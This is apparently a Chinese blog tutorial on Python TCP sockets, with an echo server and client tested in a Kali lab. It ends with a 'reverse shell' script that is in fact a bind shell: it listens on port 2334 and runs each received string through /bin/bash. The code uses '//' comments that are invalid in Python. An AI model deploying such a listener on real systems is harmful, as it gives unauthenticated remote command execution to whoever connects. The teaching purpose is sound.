再学python——网络编程(附反弹shell的编写)

C/S架构

C: Client
S: Server

客户机和服务器结构。Server唯一的目的就是等待Client的请求,Client连上Server器发送必要的数据,然后等待Server端完成请求的反馈
 

C/S网络编程

Server端进行设置,首先船舰一个通信端点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client编程相对Server端编程简单,在只要创建一个通信端点,建立到服务器的连接,就可以提出请求了
 

套接字

套接字是一种具有上述所说的“通信端点”概念的计算机网络数据结构。网络化的应用程序在开始任何通讯之前都必须创建套接字
 

Python网络编程
socket模块

socket 模块的 socket() 函数用来创建套接字
使用 socket.socket() 函数来创建套接字,方法如下:

socket(socket_family,socket_type,protocol=0)

socket_family: 套接字家族可以使AF_UNIX或者AF_INET
socket_type: 套接字类型可以根据是面向连接的还是非连接分为SOCK_STREAM(TCP)或SOCK_DGRAM(UDP)
protocol: 一般不填默认为0

套接字对象方法

服务器端套接字

s.bind() ----- 绑定地址(host,port)到套接字
s.listen(m) ----- 开始TCP监听。m 为操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5
s.accept() ----- 被动接受TCP客户端连接,(阻塞式)等待连接的到来

客户端套接字

s.connect() ----- 主动初始化TCP服务器连接
s.connect_ex() ----- connect()函数的扩展版本,出错时返回出错码,而不是抛出异常

公共用途的套接字函数

s.recv() ----- 接收TCP数据。数据以字符串形式返回,bufsize指定要接收的最大数据
s.send() ----- 发送TCP数据
s.sendall() ----- 完整发送TCP数据。完整发送TCP数据
s.recvfrom() ----- 接收UDP数据。与recv()类似,但返回值是(data,addres)
s.sendto() ----- 发送UDP数据将。数据发送到套接字
s.close() ----- 关闭套接字
s.getpeername() ----- 返回连接套接字的远程地址。返回值通常是元组(ipaddr,port)
s.getsockname() ----- 返回当前套接字的地址。通常是一个元组(ipaddr,port)
...

 

做个实验吧

实验设备
服务端:Kali Linux主机
客户端:宿主机 ------------------- 互相ping通
 
服务端
server.py(都写在注释呢)

#!usr /bin/env python
from socket import *
from time import ctime

HOST = ''
PORT = 2334 //监听端口
BUFSIZE = 1024  //传递数据大小

ADDR = (HOST,PORT)

tcpServer = socket(AF_INET,SOCK_STREAM) //创建TCP套接字
tcpServer.bind(ADDR) //绑定地址
tcpServer.listen(5)  //可挂起的最大连接数

while True:
        print ('waiting for connection...')
        tcpClient,addr = tcpServer.accept() //被动接收客户端套接字和地址
        print ('..connected from:',addr)
        while True:
                data = tcpClient.recv(BUFSIZE) //接收客户端数据
                if not data:
                        break
                tcpClient.send('[%s] %s'%(ctime(),data)) //将服务端的数据返回给客户端

tcpClient.close()
tcpServer.close()

启动服务端脚本
在这里插入图片描述
客户端
client.py
踩坑:因为我客户机是python3,服务端是python2。
data在python2中为str类型,但是在python3中为bytes类型,所以我们要转换参数类型

从str到bytes:调用方法encode()
从bytes到str:调用方法decode()
from socket import *

HOST = '192.168.101.45' //服务端地址
PORT = 2334
BUFSIZE = 1024

ADDR = (HOST,PORT)

tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)


while True:
        data = input('!~~!:')
        if not data:
            break
        tcpClient.send(data.encode()) //向服务端发送的数据!data记得转码!
        data = tcpClient.recv(BUFSIZE)
        if not data:
            break
        print (data)

tcpClient.close()

启动客户端脚本
连上服务端之后,输入内容,发给服务端,服务端将接收的数据原样发送给客户端,客户端再接收显示

在这里插入图片描述
 

接下来写个反弹shell

渗透测试及内网渗透常用到的东东 (根据测试场景使用)

正向反弹:服务端监听,客户机连接
反向反弹:客户机监听,服务端连接

客户端无需修改。只要服务端将客户端发送的数据,接收并写入系统shell中调用系统命令来执行即可

服务端 shell.py

#!usr /bin/env python
from socket import *
from time import ctime
from subprocess import Popen,PIPE 

HOST = ''
PORT = 2334
BUFSIZE = 1024

ADDR = (HOST,PORT)

tcpServer = socket(AF_INET,SOCK_STREAM)
tcpServer.bind(ADDR)
tcpServer.listen(5)

while True:
        print ('waiting for connection...')
        tcpClient,addr = tcpServer.accept()
        print ('..connected from:',addr)
        while True:
                data = tcpClient.recv(BUFSIZE)
                if not data:
                        break
                shell = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE) 
                //将客户端发送的数据带入/bin/bash中执行系统命令
                data = shell.stdout.read()
                tcpClient.send('[%s] %s'%(ctime(),data)) //将执行命令后的内容返回发送给客户端

tcpClient.close()
tcpServer.close()

服务器开启监听后。客户端执行脚本
在这里插入图片描述
 
GOT IT!

 
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值